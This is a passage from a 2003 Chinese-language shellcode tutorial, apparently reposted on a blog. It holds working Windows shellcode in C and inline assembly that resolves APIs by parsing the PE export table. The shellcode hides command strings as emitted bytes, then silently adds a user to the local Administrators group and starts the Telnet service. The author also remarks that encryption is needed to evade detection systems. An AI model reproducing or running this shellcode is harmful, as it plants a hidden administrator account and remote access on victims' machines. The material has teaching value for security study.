_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
_emit 'r'
_emit 't'
_emit ' '
_emit 't'
_emit 'l'
_emit 'n'
_emit 't'
_emit 's'
_emit 'v'
_emit 'r'
_emit 0x00
PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用斷點
//6,執行命令新建使用者,如果夠就將使用者加入Administrators,再開啟標準的Telnet服務
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD[i],SW_HIDE);
/*
 我們已經引入了一些常用的KERNEL API和WINSOCK API,可以在這裡進行更深入的
開發(比如我們可以使用WinSock自己實現一個Telnet服務端).
*/
API[EXITPROCESS](0);//使用ExitProcess來退出ShellCode以減少錯誤

__asm
{
/*
子程式FindApi,由我前面講解的GetFunctionByName修改得到
入口引數:
  ImageBase:DLL基址
  FuncName:需要查詢的引出函式名
  flen:引出函式名長度,在不會出現重複的情況下可以比引出函式名短一點
  Count:引出函式地址索引起始,通常應該把它設為0.
出口引數:
  如果查詢則成功Eax返回有效的函式地址,否則返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE頭部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase控制程式碼有錯
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//儲存函式名稱指標陣列的指標值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根據引出函式個數NumberOfFunctions設定最大查詢次數
FindLoop:
push ecx//使用一個小技巧,使用程式迴圈更簡單
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐個字元比較,如果相同則為找到函式,注意這裡的ecx值
cld
rep cmpsb
jne FindNext//如果當前函式不是指定的函式則查詢下一個
add esp,4//如果查詢成功,則清除用於控制外層迴圈而壓入的Ecx,準備返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//獲得函式地址表
shl Count,2//根據函式索引計算函式地址指標=函式地址表基址+(函式索引*4)
add eax,Count
mov eax,[eax]//獲得函式地址相對偏移量
add eax,ImageBase//計算函式真實地址,並透過Eax返回給呼叫者
jmp Found
FindNext:
inc Count//記錄函式索引
add [FunNameArray],4//下一個函式名指標
mov eax,FunNameArray
pop ecx//恢復壓入的ecx(NumberOfFunctions),進行計數迴圈
loop FindLoop//如果ecx不為0則遞減並回到FindLoop,往後查詢
NotFound:
xor eax,eax//如果沒有找到,則返回0
Found:
ret
//ShellCode結束識別符號
_emit '*'
_emit '*'
}
}

void AboutMe(void)
{
printf("t++++++++++++++++++++++++++++++++++n");
printf("t+  ShellCode Demo! +n");
printf("t+  Code by yellow  +n");
printf("t+  Date:2003-12-21 +n");
printf("t+ :yellow@safechina.net +n");
printf("t+ Home Page: +n");
printf("t++++++++++++++++++++++++++++++++++n");

}

void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("nt");
printf("0x%0.2X,",*sc++);
}
printf("n};nTotal %d Bytesrn",x+1);
}

int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
 注意我在這裡我沒有演示ShellCode技術,現在的ShellCode加密大都都xor之類的操作,基本上比較簡單
,但為了逃避"檢測系統"的查殺還是應該使用比較好的加密方法,我想以後可能會寫一些相關的技術文章吧!

 Ok!已經演示了這麼多,我想你的收穫一定不小吧!俗話說的好"師傅領進門,修行在個人",ShellCode最關鍵的
技術我們已經掌握了,至於怎麼去實現一個功能豐富的ShellCode就看你自己的開發技術和了!
--------------------------------------------------------------------------------------------------

最後
 當我初學ShellCode編寫技術時,對於沒有能讓初學者的ShellCode教程可以參考而感到煩惱,所以在我完成
PE和KERNEL32地址獲得方法學習後,就立刻寫了這篇文章,希望對廣大初學者有所幫助!眼看快要到聖誕節,yellow
在這裡初大家聖誕節快樂,永遠開心,永遠年輕!願中國的技術更上一層樓!

4,參考資料.
 
 
 
 
5,關鍵字:
 通用ShellCode,程式設計技術,PE引出表,KERNEL32.DLL地址,結構化異常處理,SEH,溢位,overflow,中華安全網
 By yellow from
 2003年12月21日晚
The End.

來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10794571/viewspace-974304/,如需轉載,請註明出處,否則將追究法律責任。

相關文章